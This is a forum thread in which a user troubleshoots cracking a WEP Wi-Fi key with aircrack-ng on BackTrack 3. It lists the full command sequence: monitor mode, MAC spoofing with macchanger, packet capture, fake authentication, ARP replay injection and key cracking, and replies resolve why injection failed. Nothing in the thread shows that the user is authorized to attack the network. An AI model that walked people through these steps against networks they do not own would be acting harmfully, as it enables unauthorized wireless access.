aircrack-ng can't see the injected files

[saavedra29]

Hello everyone.
Trying to crack a wep,for the first and the last time, i've been stuck at the last step.I follow the next well known commands:
(i have atheros chipset)

1.wlanconfig ath0 destroy 
2.iwconfig
3.wlanconfig ath0 create wlandev wifi0 wlanmode monitor
4.iwconfig
5.ifconfig ath0 down
6.macchanger --mac 00:11:22:33:44:66 ath0
7.ifconfig ath0 up
8.airodump-ng ath0
9.airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]
10.aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]
11.airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

Here i am stack.Althouth in the console of the last command i see the packet injection happening very quickly and normally, i don't see the Data increasing in the previous console!
so when i type:

 aircrack-ng -n 128 -b [bssid] [filename]-01.cap

i get few ivs....
The filenames for the data look like ....-01.cap.
Also i saw somewhere in this forum the commands:

aircrack-ng *.ivs -b [bssid]
aircrack-ng wep*.cap -b [bssid]
aircrack-ng *.cap -b [bssid]

I think the injected packets get in the correct file but somehow aircrack can't see them...or something like this
I would appreciate it if you could help.
thanks!

[kazalku]

Please post the exact output of your last command... i.e

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

[Handsome-geek]

Again this tutorial Tutorial: Cracking WEP Using Backtrack 3 | Whats the w0rd?.

Why people dont read tutorials form aircrack-ng?!

[saavedra29]

hello and sorry for the delate!
Unfortunatelly i can't copy the commands from backtrack.
however after the command:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

it injects packages but says between them:

notice:got a deauth/disassoc packet.Is the source mac assosiated?

Ofcaurse the data doesn't increase.

The only way to increase is to change in the command:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 ath0

the 00:11:22:33:44:66 with my real mac address
And so on with the next command.And then aircrack cracks the key.
But when i type

macchanger -s ath0

it still shows me the fake mac.
In this case didn't the fake mac work? Notice i'm using backtrack 3.
I wish i could copy and paste all the commands and results but i found it difficult to do it through backtrack.

[MixIt]

I don't understand why you can't copy and paste from back track. Highlight, right click, copy. Then right click, paste. I'm not sure I understand the problem there.

Also, there is no reason that you need to change your mac address for this attack. If you were able to crack your key, you were successful.

[Handsome-geek]

Maybe he is scared that forensics will come to his house because he crack his own wep key.